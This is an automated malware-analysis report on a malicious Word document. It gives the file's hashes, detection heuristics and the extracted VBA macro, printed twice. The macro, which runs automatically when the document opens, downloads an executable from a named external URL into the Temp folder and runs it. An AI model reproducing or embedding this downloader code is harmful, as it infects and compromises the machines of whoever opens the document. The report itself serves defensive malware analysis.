Office (OLE) malware analysis — malicious · eb1a639022df7307

MALICIOUS

Office (OLE)

55.0 KB Created: 2014-10-31 04:06:00 Authoring application: Microsoft Office Word First seen: 2014-11-24

MD5: 7a950da9ab43a4bcd7a0ce55d508e772 SHA-1: 588211964ac1cf2629db1edf7eb4a4af32006361 SHA-256: eb1a639022df73077e245e127a4a5a0414630e3654bd406e98735928feb5cef2

366 Risk Score

Heuristics 11

ClamAV: Doc.Downloader.Sload-6961205-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Downloader.Sload-6961205-0
Reference to URLDownloadToFile API critical SC_STR_URLDOWNLOAD

Reference to URLDownloadToFile API
VBA macros detected medium 6 related findings OLE_VBA_MACROS

Document contains VBA macro code
Potential Shell call in VBA critical OLE_VBA_SHELL

Potential Shell call in VBA
Matched line in script
```
    Shell WHERE, vbNormalFocus
```
URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD

URLDownloadToFile in VBA
Matched line in script
```
Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" _
```
Obfuscated VBA Shell command with URL critical OLE_VBA_OBFUSCATED_SHELL_URL

VBA macro invokes Shell with command text assembled through decoder or string-manipulation functions and includes a URL. This is a high-confidence downloader/dropper pattern, stronger than Shell or URL evidence on their own.
Matched line in script
```
    Shell WHERE, vbNormalFocus
```
AutoOpen macro low OLE_VBA_AUTOOPEN

AutoOpen macro
Matched line in script
```
Sub AutoOpen()
```
Document_Open macro low OLE_VBA_DOCOPEN

Document_Open macro
Matched line in script
```
Sub Document_Open()
```
Environ() call (env variable access) low OLE_VBA_ENVIRON

Environ() call (env variable access)
Matched line in script
```
    WHERE = Environ("Temp") & "\" & Pwd(5) & ".exe"
```
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC

OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL http://www.szymbud.eu/MobileDriver.exe Referenced by macro
- http://www.szymbud.eu/MobReferenced by macro
- http://schemas.openxmlformats.org/drawingml/2006/mainReferenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename Kind Source Size

macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1277 bytes

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	1277 bytes
SHA-256: `2aeecad1cd0f811a82e1875e7898523baf5c0323249cde052db31efc09d44701`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" _ (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long Sub AutoOpen() URL$ = "http://www.szymbud.eu/MobileDriver.exe" WHERE = Environ("Temp") & "\" & Pwd(5) & ".exe" DownloadStatus = URLDownloadToFile(0, URL, WHERE, 0, 0) Shell WHERE, vbNormalFocus End Sub Sub Document_Open() End Sub Function Pwd(iLength As Integer) As String Dim i As Integer, iTemp As Integer, bOK As Boolean, strTemp As String For i = 1 To iLength Do iTemp = Int((122 - 48 + 1) * Rnd + 48) Select Case iTemp Case 48 To 57, 65 To 90, 97 To 122: bOK = True Case Else: bOK = False End Select Loop Until bOK = True bOK = False strTemp = strTemp & Chr(iTemp) Next i Pwd = strTemp End Function

SHA-256: 2aeecad1cd0f811a82e1875e7898523baf5c0323249cde052db31efc09d44701

Preview script

First 1,000 lines of the extracted script

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" _
    (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
    
Sub AutoOpen()
    URL$ = "http://www.szymbud.eu/MobileDriver.exe"
    WHERE = Environ("Temp") & "\" & Pwd(5) & ".exe"
    DownloadStatus = URLDownloadToFile(0, URL, WHERE, 0, 0)
    Shell WHERE, vbNormalFocus
End Sub

Sub Document_Open()

End Sub

Function Pwd(iLength As Integer) As String
    Dim i As Integer, iTemp As Integer, bOK As Boolean, strTemp As String
    For i = 1 To iLength
        Do
            iTemp = Int((122 - 48 + 1) * Rnd + 48)
            Select Case iTemp
            Case 48 To 57, 65 To 90, 97 To 122: bOK = True
            Case Else: bOK = False
            End Select
        Loop Until bOK = True
        bOK = False
        strTemp = strTemp & Chr(iTemp)
    Next i
    Pwd = strTemp
End Function

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